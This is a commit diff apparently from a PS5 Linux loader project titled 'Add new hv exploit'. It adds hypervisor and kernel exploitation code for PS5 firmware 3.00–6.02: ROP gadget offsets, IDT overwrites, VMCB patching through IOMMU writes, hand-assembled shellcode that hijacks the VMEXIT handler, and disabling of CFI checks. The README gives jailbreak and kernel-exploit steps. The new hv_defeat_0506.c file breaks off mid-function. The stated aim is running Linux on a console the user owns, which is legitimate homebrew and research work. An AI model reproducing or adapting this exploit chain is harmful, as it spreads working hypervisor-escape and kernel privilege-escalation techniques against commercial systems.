mirror of
https://github.com/ps5-linux/ps5-linux-loader.git
synced 2026-07-15 21:42:27 +00:00
Add new hv exploit.
This commit is contained in:
27
README.md
27
README.md
@@ -1,6 +1,6 @@
|
||||
# ps5-linux
|
||||
|
||||
**ps5-linux** leverages a patched HV vulnerability to transform your PS5 Phat console running **3.xx or 4.xx firmwares** (and soon also on **firmware 6.02**) into a highly capable Linux PC, unlocking its full hardware potential for desktop use. Powered by 8 CPU cores (16 threads) at **3.5 GHz** and a GPU at **2.23 GHz**, it provides enough performance to run Steam games and various emulators with impressive fluidity. It supports HDMI 4K60 video and audio output. Furthermore, it allows you to utilize an **M.2 SSD** as a dedicated Linux partition, as well as all USB ports on the console.
|
||||
**ps5-linux** leverages a patched HV vulnerability to transform your PS5 Phat console running **3.00-6.02 firmwares** into a highly capable Linux PC, unlocking its full hardware potential for desktop use. Powered by 8 CPU cores (16 threads) at **3.5 GHz** and a GPU at **2.23 GHz**, it provides enough performance to run Steam games and various emulators with impressive fluidity. It supports HDMI 4K60 video and audio output. Furthermore, it allows you to utilize an **M.2 SSD** as a dedicated Linux partition, as well as all USB ports on the console.
|
||||
|
||||

|
||||
|
||||
@@ -10,9 +10,9 @@
|
||||
|
||||
- **3.00**, **3.10**, **3.20**, **3.21** without M.2 support
|
||||
- **4.00**, **4.02**, **4.03**, **4.50**, **4.51** with M.2 support
|
||||
- **Soon: 6.02** with M2 support
|
||||
|
||||
Support for 1.xx and 2.xx firmwares may be added in the future, but we will not prioritize this effort.
|
||||
- **5.50** with M.2 support
|
||||
- **6.00**, **6.02** with M.2 support
|
||||
- Support for 1.xx and 2.xx firmwares may be added in the future, but we will not prioritize this effort.
|
||||
|
||||
If you want to update to a specific firmware, [download the correct PUP](https://darthsternie.net/ps5-firmwares/) and follow the [official guide](https://www.playstation.com/en-us/support/hardware/reinstall-playstation-system-software-safe-mode) to upgrade your PS5. Obviously you cannot downgrade.
|
||||
|
||||
@@ -122,7 +122,9 @@ The following USB ports are supported for booting:
|
||||
|
||||
The front top Type-A port is USB 2.0 which is slower and thus not recommended.
|
||||
|
||||
### 4. Run the jailbreak exploit
|
||||
### 4. Run the jailbreak
|
||||
|
||||
#### Firmware 3.00-5.50
|
||||
|
||||
1. Clone via: `git clone https://github.com/idlesauce/umtx2`
|
||||
2. Configure fakedns via `dns.conf` to point `manuals.playstation.net` to your PCs IP address
|
||||
@@ -131,7 +133,12 @@ The front top Type-A port is USB 2.0 which is slower and thus not recommended.
|
||||
5. Go into PS5 advanced network settings and set primary DNS to your PCs IP address and leave secondary at `0.0.0.0`
|
||||
6. Go to user manual in settings and accept untrusted certificate prompt, run.
|
||||
|
||||
#### 5. Send the payload
|
||||
#### Firmware 6.00-6.02
|
||||
|
||||
1. Install Y2JB by following https://github.com/Gezine/Y2JB.
|
||||
2. Run kernel exploit: `python3 payload_sender.py $PS5IP 50000 payloads/lapse.js`
|
||||
|
||||
### 5. Send the payload
|
||||
If you're on ARM64 Linux, first install the x86-64 cross-compilation tools before:
|
||||
|
||||
```bash
|
||||
@@ -202,6 +209,14 @@ Then, there are certain settings and commands we recommend doing:
|
||||
make
|
||||
```
|
||||
|
||||
7. Install the mwifiex driver for the internal WLAN chip:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/ps5-linux/ps5-linux-mwifiex
|
||||
cd ps5-linux-mwifiex
|
||||
sudo ./install.sh
|
||||
```
|
||||
|
||||
## M.2 installation
|
||||
|
||||
You can use a M.2 SSD exclusively for Linux (which means you cannot use it for PS5 game storage).
|
||||
|
||||
@@ -18,7 +18,9 @@
|
||||
#define hv_stack_size 0x1000ULL
|
||||
|
||||
// This is used as transitional storage from ProsperoOS to Kernel shellcode
|
||||
#define kernel_cave_files 0xFFFF800000000000
|
||||
#define kernel_cave 0xFFFF800000000000
|
||||
#define kernel_cave_shellcode kernel_cave
|
||||
#define kernel_cave_files kernel_cave_shellcode + PAGE_SIZE + PAGE_SIZE
|
||||
#define kernel_cave_linux_info kernel_cave_files
|
||||
#define kernel_cave_bzImage kernel_cave_linux_info + PAGE_SIZE
|
||||
|
||||
|
||||
@@ -1,15 +1,11 @@
|
||||
#ifndef HV_DEFEAT_0304_H
|
||||
#define HV_DEFEAT_0304_H
|
||||
|
||||
#include "iommu.h"
|
||||
#include <stddef.h>
|
||||
|
||||
int hv_defeat_0304(void);
|
||||
int hv_defeat_0304(void *shellcode_kernel, size_t shellcode_kernel_len);
|
||||
int stage1_tmr_relax(void);
|
||||
int iommu_selftest(void);
|
||||
int stage2_patch_vmcbs(void);
|
||||
int stage3_force_vmcb_reload(void);
|
||||
int stage4_remove_xotext(void);
|
||||
int stage5_kernel_pmap_invalidate_all(void);
|
||||
int stage6_install_kexec(void);
|
||||
|
||||
#endif
|
||||
|
||||
8
include/hv_defeat_0506.h
Normal file
8
include/hv_defeat_0506.h
Normal file
@@ -0,0 +1,8 @@
|
||||
#ifndef HV_DEFEAT_0506_H
|
||||
#define HV_DEFEAT_0506_H
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
int hv_defeat_0506(void *shellcode_kernel, size_t shellcode_kernel_len);
|
||||
|
||||
#endif
|
||||
@@ -105,6 +105,11 @@ struct boot_params {
|
||||
uint8_t _pad9[276]; // 0xeec
|
||||
} __attribute__((packed));
|
||||
|
||||
typedef struct {
|
||||
uint64_t start;
|
||||
uint64_t end;
|
||||
} tmr;
|
||||
|
||||
struct linux_info {
|
||||
uintptr_t linux_info; // PA of linux_info
|
||||
uintptr_t bzimage;
|
||||
@@ -113,6 +118,8 @@ struct linux_info {
|
||||
size_t initrd_size;
|
||||
size_t vram_size;
|
||||
int kit_type;
|
||||
int n_tmrs;
|
||||
tmr tmrs[64];
|
||||
char cmdline[2048];
|
||||
};
|
||||
|
||||
|
||||
@@ -9,6 +9,22 @@ typedef struct _offset_list {
|
||||
uint64_t VMSPACE_VM_VMID;
|
||||
uint64_t VMSPACE_VM_PMAP;
|
||||
uint64_t DATA_BASE_GVMSPACE;
|
||||
/* Offsets for 5.00-6.02 hv exploit */
|
||||
uint64_t ACPIGBL_FACS;
|
||||
uint64_t IDT;
|
||||
uint64_t COMMON_TSS;
|
||||
uint64_t STOPPED_CPUS;
|
||||
uint64_t FUN_STOP_CPUS;
|
||||
uint64_t FUN_AS_LAPIC_EOI;
|
||||
uint64_t FUN_HV_UNMAP_PT_TMR;
|
||||
uint64_t FUN_MEMCPY;
|
||||
uint64_t GAD_ADD_RSP_28_POP_RBP_RET;
|
||||
uint64_t GAD_IRETQ;
|
||||
uint64_t GAD_POP_RDI_RET;
|
||||
uint64_t GAD_POP_RSI_RET;
|
||||
uint64_t GAD_POP_RDX_RET;
|
||||
uint64_t GAD_POP_RSP_RET;
|
||||
uint64_t GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET;
|
||||
/* Shellcode Kernel */
|
||||
uint64_t HOOK_ACPI_WAKEUP_MACHDEP;
|
||||
uint64_t KERNEL_CODE_CAVE;
|
||||
@@ -22,7 +38,6 @@ typedef struct _offset_list {
|
||||
uint64_t HV_HANDLE_VMEXIT_PA;
|
||||
/* Patches on Kernel */
|
||||
uint64_t KERNEL_UART_OVERRIDE;
|
||||
uint64_t KERNEL_DEBUG_PATCH;
|
||||
uint64_t KERNEL_CFI_CHECK;
|
||||
/* Internal functions to prepare boot */
|
||||
uint64_t G_VBIOS;
|
||||
@@ -43,5 +58,8 @@ extern offset_list off_0402;
|
||||
extern offset_list off_0403;
|
||||
extern offset_list off_0450;
|
||||
extern offset_list off_0451;
|
||||
extern offset_list off_0550;
|
||||
extern offset_list off_0600;
|
||||
extern offset_list off_0602;
|
||||
|
||||
#endif
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
extern struct linux_info linux_i;
|
||||
|
||||
int prepare_resume(void);
|
||||
int prepare_resume(void **shellcode_kernel, size_t *shellcode_kernel_len);
|
||||
uint64_t prepare_sck_args(void);
|
||||
int update_sck_args_ptr(uint64_t shellcode, uint64_t args);
|
||||
void hook_call_near(uint64_t hook, uint64_t dst);
|
||||
|
||||
@@ -7,7 +7,7 @@ CC = gcc
|
||||
LD = ld
|
||||
OBJCOPY = objcopy
|
||||
endif
|
||||
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -m64
|
||||
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -mno-sse -mno-sse2 -m64
|
||||
LDFLAGS = -T linker.ld -Wl,--no-warn-rwx-segments
|
||||
TARGET = shellcode_hv.elf
|
||||
TEXT_BIN = shellcode_hv.bin
|
||||
|
||||
@@ -87,6 +87,10 @@ static void e820_memory_setup(struct boot_params *bp) {
|
||||
append_e820_table(bp, 0x470000000, 0x87f300000, E820_TYPE_RAM);
|
||||
append_e820_table(bp, 0x87f300000, 0x880000000, E820_TYPE_RESERVED);
|
||||
}
|
||||
|
||||
for (int i = 0; i < info.n_tmrs; i++) {
|
||||
append_e820_table(bp, info.tmrs[i].start, info.tmrs[i].end, E820_TYPE_RESERVED);
|
||||
}
|
||||
}
|
||||
|
||||
void boot_linux(void) {
|
||||
|
||||
@@ -7,7 +7,7 @@ CC = gcc
|
||||
LD = ld
|
||||
OBJCOPY = objcopy
|
||||
endif
|
||||
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -m64
|
||||
CFLAGS = -O2 -fno-stack-protector -ffreestanding -nostdlib -fcf-protection=none -mno-sse -mno-sse2 -m64
|
||||
LDFLAGS = -T linker.ld -Wl,--no-warn-rwx-segments
|
||||
TARGET = shellcode_kernel.elf
|
||||
TEXT_BIN = shellcode_kernel.bin
|
||||
|
||||
@@ -15,6 +15,25 @@ int (*mp3_invoke)(int cmd_id, void *req, void *rsp) = NULL;
|
||||
|
||||
uint64_t g_vbios;
|
||||
|
||||
typedef struct {
|
||||
uint64_t flags;
|
||||
uint64_t addr;
|
||||
uint64_t size;
|
||||
} __attribute__((packed)) SceSblHvShmTmrPtState;
|
||||
|
||||
typedef uint64_t SceSblHvShmTmrIdBmp;
|
||||
typedef uint16_t SceSblHvShmTmrPtIdBmp;
|
||||
|
||||
typedef struct {
|
||||
uint32_t sig;
|
||||
uint32_t ver;
|
||||
SceSblHvShmTmrPtIdBmp tmrMapPts[64];
|
||||
SceSblHvShmTmrIdBmp tmrOvlpIds[64];
|
||||
SceSblHvShmTmrPtState tmrPtStates[64];
|
||||
uint32_t nmiCounts[16];
|
||||
uint8_t reserved[64];
|
||||
} __attribute__((packed)) SceSblHvShm;
|
||||
|
||||
typedef struct {
|
||||
uint8_t lanenum;
|
||||
uint32_t rate;
|
||||
@@ -57,6 +76,15 @@ static inline uint64_t vmmcall(uint64_t nr, uint64_t a0, uint64_t a1,
|
||||
return ret;
|
||||
}
|
||||
|
||||
static uint64_t get_hv_shm(void) {
|
||||
if (args.fw_version >= 0x0500 && args.fw_version < 0x0600) {
|
||||
return 0x62a01000;
|
||||
} else if (args.fw_version >= 0x0600 && args.fw_version < 0x0650) {
|
||||
return 0x62a22000;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static int dp_enable_link_phy(int lanenum, int linkrate) {
|
||||
struct dig_transmitter_control_parameters_v1_6 params = {};
|
||||
params.phyid = 0;
|
||||
@@ -108,7 +136,40 @@ static void install_hv_code(void) {
|
||||
shellcode_hv_bin_len);
|
||||
}
|
||||
|
||||
void patch_hv(void) {
|
||||
// Jump to shellcode final identity mapping
|
||||
uint8_t shellcode_jmp[] = {0x48, 0xC7, 0xC0, 0xAA,
|
||||
0xAA, 0xAA, 0xAA, // mov rax, 0xAAAAAAAA
|
||||
0xFF, 0xE0}; // jmp rax
|
||||
|
||||
// Update code cave in hv 1:1 region
|
||||
*(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa;
|
||||
|
||||
// Just patch the VMEXIT handler directly, avoiding all checks
|
||||
memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp,
|
||||
sizeof(shellcode_jmp));
|
||||
|
||||
uint8_t shellcode_identity_and_jmp[] = {
|
||||
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
|
||||
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
|
||||
0x0F, 0x22, 0xD8, // mov cr3, rax
|
||||
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
|
||||
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
|
||||
0xFF, 0xE0 // jmp rax
|
||||
};
|
||||
|
||||
// Update CR3 PA (from config)
|
||||
*(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging;
|
||||
// Update HV shellcode cave
|
||||
*(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code;
|
||||
|
||||
// Install shellcode to update CR3 and jump to main HV shellcode
|
||||
memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp,
|
||||
sizeof(shellcode_identity_and_jmp));
|
||||
}
|
||||
|
||||
void boot_linux(void) {
|
||||
patch_hv();
|
||||
|
||||
// Common bootloader code
|
||||
install_hv_code();
|
||||
@@ -126,6 +187,20 @@ void boot_linux(void) {
|
||||
// Copy bzImage and initrd into contiguous memory.
|
||||
memcpy(&info, (void *)args.linux_info_va, sizeof(struct linux_info));
|
||||
|
||||
info.n_tmrs = 0;
|
||||
if (args.fw_version >= 0x0500 && args.fw_version < 0x0650) {
|
||||
SceSblHvShm *shm = (SceSblHvShm *)PHYS_TO_DMAP(get_hv_shm());
|
||||
|
||||
for (int i = 0; i < 64; i++) {
|
||||
if (shm->tmrPtStates[i].flags & 1) {
|
||||
info.tmrs[info.n_tmrs].start = shm->tmrPtStates[i].addr;
|
||||
info.tmrs[info.n_tmrs].end = shm->tmrPtStates[i].addr + shm->tmrPtStates[i].size;
|
||||
printf("tmr: %lx-%lx\n", info.tmrs[info.n_tmrs].start, info.tmrs[info.n_tmrs].end);
|
||||
info.n_tmrs++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
uintptr_t bzimage = info.bzimage;
|
||||
uintptr_t initrd = info.initrd;
|
||||
|
||||
|
||||
@@ -8,9 +8,15 @@ uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa,
|
||||
uint32_t (*hv_iommu_wait_completion)(void);
|
||||
|
||||
int hv_defeat_0304(volatile shellcode_kernel_args *args_ptr) {
|
||||
uint64_t iommu_cb2_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb2_va);
|
||||
uint64_t iommu_cb3_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_cb3_va);
|
||||
uint64_t iommu_eb_pa = vtophys(args_ptr->dmap_base, args_ptr->iommu_eb_va);
|
||||
uint64_t softc = *(uint64_t *)args_ptr->iommu_softc;
|
||||
uint64_t mmio_va = *(uint64_t *)(softc + IOMMU_SC_MMIO_VA);
|
||||
uint64_t cb2_va = *(uint64_t *)(softc + IOMMU_SC_CB2_PTR);
|
||||
uint64_t cb3_va = *(uint64_t *)(softc + IOMMU_SC_CB3_PTR);
|
||||
uint64_t eb_va = *(uint64_t *)(softc + IOMMU_SC_EB_PTR);
|
||||
|
||||
uint64_t iommu_cb2_pa = vtophys(args_ptr->dmap_base, cb2_va);
|
||||
uint64_t iommu_cb3_pa = vtophys(args_ptr->dmap_base, cb3_va);
|
||||
uint64_t iommu_eb_pa = vtophys(args_ptr->dmap_base, eb_va);
|
||||
|
||||
uint64_t unk;
|
||||
int n_devices;
|
||||
@@ -52,55 +58,26 @@ int hv_defeat_0304(volatile shellcode_kernel_args *args_ptr) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
void patch_hv_0304(void) {
|
||||
// Jump to shellcode final identity mapping
|
||||
uint8_t shellcode_jmp[] = {0x48, 0xC7, 0xC0, 0xAA,
|
||||
0xAA, 0xAA, 0xAA, // mov rax, 0xAAAAAAAA
|
||||
0xFF, 0xE0}; // jmp rax
|
||||
|
||||
// Update code cave in hv 1:1 region
|
||||
*(uint32_t *)(&shellcode_jmp[3]) = (uint32_t)args.hv_code_cave_pa;
|
||||
|
||||
// Just patch the VMEXIT handler directly, avoiding all checks
|
||||
memcpy((void *)PHYS_TO_DMAP(args.hv_handle_vmexit_pa), shellcode_jmp,
|
||||
sizeof(shellcode_jmp));
|
||||
|
||||
uint8_t shellcode_identity_and_jmp[] = {
|
||||
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
|
||||
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
|
||||
0x0F, 0x22, 0xD8, // mov cr3, rax
|
||||
0x48, 0xB8, 0xAA, 0xAA, 0xAA,
|
||||
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // movabs rax, 0xAAAAAAAAAAAAAAAA
|
||||
0xFF, 0xE0 // jmp rax
|
||||
};
|
||||
|
||||
// Update CR3 PA (from config)
|
||||
*(uint64_t *)(&shellcode_identity_and_jmp[2]) = cave_hv_paging;
|
||||
// Update HV shellcode cave
|
||||
*(uint64_t *)(&shellcode_identity_and_jmp[15]) = cave_hv_code;
|
||||
|
||||
// Install shellcode to update CR3 and jump to main HV shellcode
|
||||
memcpy((void *)PHYS_TO_DMAP(args.hv_code_cave_pa), shellcode_identity_and_jmp,
|
||||
sizeof(shellcode_identity_and_jmp));
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) void
|
||||
iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd) {
|
||||
uint64_t curr_tail =
|
||||
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8);
|
||||
uint64_t softc = *(uint64_t *)args_ptr->iommu_softc;
|
||||
uint64_t mmio_va = *(uint64_t *)(softc + IOMMU_SC_MMIO_VA);
|
||||
uint64_t cb2_va = *(uint64_t *)(softc + IOMMU_SC_CB2_PTR);
|
||||
|
||||
uint64_t curr_tail = *((uint64_t *)mmio_va + IOMMU_MMIO_CB_TAIL / 8);
|
||||
uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK;
|
||||
|
||||
uint64_t *cmd_buffer = (uint64_t *)args_ptr->iommu_cb2_va + curr_tail / 8;
|
||||
uint64_t *cmd_buffer = (uint64_t *)cb2_va + curr_tail / 8;
|
||||
|
||||
cmd_buffer[0] = cmd[0];
|
||||
cmd_buffer[1] = cmd[1];
|
||||
|
||||
__asm__ volatile("" : : : "memory");
|
||||
|
||||
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail;
|
||||
*((uint64_t *)mmio_va + IOMMU_MMIO_CB_TAIL / 8) = next_tail;
|
||||
|
||||
while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) !=
|
||||
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8))
|
||||
while (*((uint64_t *)mmio_va + IOMMU_MMIO_CB_HEAD / 8) !=
|
||||
*((uint64_t *)mmio_va + IOMMU_MMIO_CB_TAIL / 8))
|
||||
;
|
||||
}
|
||||
|
||||
@@ -115,10 +92,28 @@ iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa,
|
||||
iommu_submit_cmd(args_ptr, (uint64_t *)cmd);
|
||||
}
|
||||
|
||||
static uint64_t get_vmcb(volatile shellcode_kernel_args *args_ptr, int core) {
|
||||
switch (args_ptr->fw_version) {
|
||||
case 0x0300:
|
||||
case 0x0310:
|
||||
case 0x0320:
|
||||
case 0x0321:
|
||||
return (uint64_t)0x6290B000 + (uint64_t)core * 0x3000;
|
||||
case 0x0400:
|
||||
case 0x0402:
|
||||
case 0x0403:
|
||||
case 0x0450:
|
||||
case 0x0451:
|
||||
return (uint64_t)0x62A05000 + (uint64_t)core * 0x3000;
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
__attribute__((noinline, optimize("O0"))) void
|
||||
patch_vmcb(volatile shellcode_kernel_args *args_ptr) {
|
||||
for (int i = 0; i < 16; i++) {
|
||||
iommu_write8_pa(args_ptr, args_ptr->vmcb[i] + 0x90, 0);
|
||||
iommu_write8_pa(args_ptr, get_vmcb(args_ptr, i) + 0x90, 0);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -8,7 +8,6 @@ extern uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa,
|
||||
extern uint32_t (*hv_iommu_wait_completion)(void);
|
||||
|
||||
int hv_defeat_0304(volatile shellcode_kernel_args *args_ptr);
|
||||
void patch_hv_0304(void);
|
||||
|
||||
// tmr via ecam b0d18f2
|
||||
#ifndef ECAM_B0D18F2
|
||||
@@ -39,6 +38,12 @@ int tmr_disable(uint64_t dmap);
|
||||
#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1)
|
||||
#define IOMMU_CMD_ENTRY_SIZE 0x10
|
||||
|
||||
// IOMMU softc field offsets
|
||||
#define IOMMU_SC_MMIO_VA 0x40
|
||||
#define IOMMU_SC_CB2_PTR 0x78
|
||||
#define IOMMU_SC_CB3_PTR 0x80
|
||||
#define IOMMU_SC_EB_PTR 0x60b90
|
||||
|
||||
// Submit a single 16-byte command and wait for completion
|
||||
void iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd);
|
||||
// Write 8 bytes to a physical address using IOMMU completion wait store
|
||||
|
||||
@@ -27,18 +27,19 @@ __attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
|
||||
if ((0x0300 <= args_ptr->fw_version) && (args_ptr->fw_version < 0x0500)) {
|
||||
if (hv_defeat_0304(args_ptr))
|
||||
return -1;
|
||||
// Now we can R/W on .text
|
||||
init_global_pointers(args_ptr);
|
||||
patch_hv_0304();
|
||||
} else if ((0x0500 <= args_ptr->fw_version) &&
|
||||
(args_ptr->fw_version < 0x0650)) {
|
||||
// escape_hv_0506();
|
||||
// Now we can R/W on .text
|
||||
// init_global_pointers(args_ptr);
|
||||
// Already escaped.
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Now we can R/W on .text
|
||||
init_global_pointers(args_ptr);
|
||||
|
||||
// Disable CFI to allow smp_rendezvous.
|
||||
*(uint8_t *)args_ptr->kernel_cfi_check = 0xC3;
|
||||
|
||||
boot_linux();
|
||||
printf("Linux prepared OK\n");
|
||||
|
||||
|
||||
@@ -10,22 +10,17 @@ typedef struct {
|
||||
uint64_t kdata;
|
||||
uint64_t dmap_base;
|
||||
uint64_t fun_printf;
|
||||
uint64_t fun_vtophys;
|
||||
uint64_t fun_hv_iommu_set_buffers;
|
||||
uint64_t fun_hv_iommu_wait_completion;
|
||||
uint64_t fun_acpi_set_fw_waking_vector;
|
||||
uint64_t fun_smp_rendezvous;
|
||||
uint64_t fun_smp_no_rendevous_barrier;
|
||||
uint64_t fun_transmitter_control;
|
||||
uint64_t fun_mp3_initialize;
|
||||
uint64_t fun_mp3_invoke;
|
||||
uint64_t g_vbios;
|
||||
uint64_t iommu_mmio_va;
|
||||
uint64_t iommu_cb2_va;
|
||||
uint64_t iommu_cb3_va;
|
||||
uint64_t iommu_eb_va;
|
||||
uint64_t vmcb[16];
|
||||
uint64_t iommu_softc;
|
||||
uint64_t kernel_uart_override;
|
||||
uint64_t kernel_cfi_check;
|
||||
uint64_t hv_handle_vmexit_pa;
|
||||
uint64_t hv_code_cave_pa;
|
||||
uint64_t linux_info_va; // To relocate by kernel shellcode
|
||||
|
||||
@@ -1,27 +1,35 @@
|
||||
#include "hv_defeat_0304.h"
|
||||
#include "config.h"
|
||||
#include "gpu.h"
|
||||
#include "iommu.h"
|
||||
#include "tmr.h"
|
||||
#include "utils.h"
|
||||
#include <fcntl.h>
|
||||
#include <setjmp.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
|
||||
uint64_t vmcb_pa[16];
|
||||
void hook_call_near(uint64_t hook, uint64_t dst) {
|
||||
int64_t diff_call = dst - hook;
|
||||
uint8_t new_instr[5];
|
||||
new_instr[0] = 0xE8;
|
||||
*((uint32_t *)&new_instr[1]) = (int32_t)(diff_call - 5);
|
||||
kernel_copyin(new_instr, hook, 5);
|
||||
DEBUG_PRINT("Instruction patched\n");
|
||||
}
|
||||
|
||||
int hv_defeat_0304(void) {
|
||||
int hv_defeat_0304(void *shellcode_kernel, size_t shellcode_kernel_len) {
|
||||
if (stage1_tmr_relax())
|
||||
return -1;
|
||||
if (stage2_patch_vmcbs())
|
||||
return -1;
|
||||
if (stage3_force_vmcb_reload())
|
||||
return -1;
|
||||
if (stage4_remove_xotext())
|
||||
return -1;
|
||||
if (stage5_kernel_pmap_invalidate_all())
|
||||
return -1;
|
||||
|
||||
// Install shellcode.
|
||||
uint64_t sck_va = ktext + env_offset.KERNEL_CODE_CAVE;
|
||||
kwrite_large(sck_va, shellcode_kernel, shellcode_kernel_len);
|
||||
|
||||
hook_call_near(ktext + env_offset.HOOK_ACPI_WAKEUP_MACHDEP, sck_va);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -95,8 +103,7 @@ int stage2_patch_vmcbs(void) {
|
||||
pin_to_core(cur);
|
||||
|
||||
for (int i = 0; i < 16; i++) {
|
||||
vmcb_pa[i] = get_vmcb(i);
|
||||
iommu_write8_pa(vmcb_pa[i] + 0x90, 0);
|
||||
iommu_write8_pa(get_vmcb(i) + 0x90, 0);
|
||||
}
|
||||
|
||||
pin_to_core(9);
|
||||
@@ -138,62 +145,3 @@ int stage3_force_vmcb_reload(void) {
|
||||
// Return -1 if we didn't caught them
|
||||
return ret ? 0 : -1;
|
||||
}
|
||||
|
||||
int stage4_remove_xotext(void) {
|
||||
DEBUG_PRINT("\nHV-Defeat [stage4] xotext removal\n");
|
||||
|
||||
uint64_t start = ktext;
|
||||
uint64_t end = kdata;
|
||||
int n __attribute__((unused)) = 0;
|
||||
|
||||
for (uint64_t a = start; a < end; a += 0x1000) {
|
||||
page_chain_set_rw(a);
|
||||
n++;
|
||||
}
|
||||
DEBUG_PRINT(" %d pages on ktext\n", n);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int stage5_kernel_pmap_invalidate_all(void) {
|
||||
DEBUG_PRINT("HV-Defeat [stage5] invalidate paging entries\n");
|
||||
|
||||
static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0};
|
||||
|
||||
int pipe_fds[2];
|
||||
|
||||
if (pipe2(pipe_fds, O_NONBLOCK)) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (write(pipe_fds[1], two_zero_pages, PAGE_SIZE * 2) < 0) {
|
||||
close(pipe_fds[0]);
|
||||
close(pipe_fds[1]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
close(pipe_fds[1]);
|
||||
|
||||
uint64_t read_fd_file_data = kernel_get_proc_file(-1, pipe_fds[0]);
|
||||
|
||||
if (!INKERNEL(read_fd_file_data)) {
|
||||
close(pipe_fds[0]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint64_t read_fd_buffer;
|
||||
kernel_copyout(read_fd_file_data + 0x10, &read_fd_buffer,
|
||||
sizeof(read_fd_buffer));
|
||||
|
||||
if (!INKERNEL(read_fd_buffer)) {
|
||||
close(pipe_fds[0]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!page_remove_global(read_fd_buffer)) {
|
||||
close(pipe_fds[0]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
close(pipe_fds[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
197
source/hv_defeat_0506.c
Normal file
197
source/hv_defeat_0506.c
Normal file
@@ -0,0 +1,197 @@
|
||||
#include "hv_defeat_0506.h"
|
||||
#include "config.h"
|
||||
#include "utils.h"
|
||||
#include <machine/segments.h>
|
||||
#include <machine/tss.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#define NESTED_CTRL_GMET_ENABLE 0x8
|
||||
|
||||
#define IPI_STOP 252
|
||||
|
||||
static void setidt(int idx, uintptr_t func, int typ, int dpl, int ist) {
|
||||
struct gate_descriptor ip = {};
|
||||
ip.gd_looffset = func;
|
||||
ip.gd_selector = GSEL(GCODE_SEL, SEL_KPL);
|
||||
ip.gd_ist = ist;
|
||||
ip.gd_xx = 0;
|
||||
ip.gd_type = typ;
|
||||
ip.gd_dpl = dpl;
|
||||
ip.gd_p = 1;
|
||||
ip.gd_hioffset = func >> 16;
|
||||
kwrite(ktext + env_offset.IDT + idx * sizeof(struct gate_descriptor), &ip,
|
||||
sizeof(ip));
|
||||
}
|
||||
|
||||
static int get_vcpu(void) {
|
||||
if (fw >= 0x0500 && fw < 0x0600) {
|
||||
return 0;
|
||||
} else if (fw >= 0x0600 && fw < 0x0650) {
|
||||
return 1;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static uint64_t get_hv_shm(void) {
|
||||
if (fw >= 0x0500 && fw < 0x0600) {
|
||||
return 0x62a01000;
|
||||
} else if (fw >= 0x0600 && fw < 0x0650) {
|
||||
return 0x62a22000;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static uint64_t get_vmcb(int core) {
|
||||
if (fw >= 0x0500 && fw < 0x0600) {
|
||||
return (uint64_t)0x62a08000 + (uint64_t)core * 0x2000;
|
||||
} else if (fw >= 0x0600 && fw < 0x0650) {
|
||||
return (uint64_t)0x62a57000 + (uint64_t)core * 0x2000;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static void build_gp_rop(uintptr_t ist, int vcpu, int tmr_id,
|
||||
